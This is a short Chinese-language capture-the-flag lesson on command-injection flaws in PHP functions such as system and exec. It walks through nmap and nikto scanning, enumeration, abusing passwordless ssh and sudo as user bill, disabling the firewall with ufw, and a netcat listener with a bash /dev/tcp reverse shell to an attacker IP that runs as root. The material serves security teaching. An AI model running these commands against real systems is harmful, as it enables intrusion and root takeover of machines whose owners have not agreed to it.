命令执行漏洞介绍
当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成命令执行攻击。
调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,又没有过滤用户的输入的情况下,就会造成命令执行漏洞。
信息探测
扫描主机服务信息以及服务版本
– nmap -sV 靶场IP地址
探测敏感信息
– nikto -host http://靶场IP地址:端口
找到敏感以页面
漏洞利用
查看临时缓冲目录:ls -alh /tmp/
查看home目录,挖掘用户信息:ls -alh /home/
查看具体用户的目录:ls -alh /home/用户名/
查看系统信息:uname -a
利用ssh命令 执行root权限命令
使用ssh 用户名@localhost通过ssh登录服务器是不需要身份验证的;
查看bill用户 sudo命令的权限:ssh bill@localhost sudo -l
关闭防火墙:ssh bill@localhost sudo ufw disable
反弹shell
攻击机启动监听netcat
nc -nlvp 4444
靶场机器反弹shell
ssh bill@localhost sudo bash -i >& /dev/tcp/攻击机IP/4444 0>&1
获取Flag
一般情况下,靶场机器的flag值是存放在服务器的根目录下,/root/目录。
cd /root/
ls
cat flag
Writeup 测试文档 总结文档
总结
在CTF比赛中,命令执行漏洞具有很多过滤机制。对于开放ssh服务的靶场机器,可以采取本节课中的方法进行渗透靶场机器。如果没有开放ssh服务,则需要利用绕过过滤技巧来达到命令执行的目的。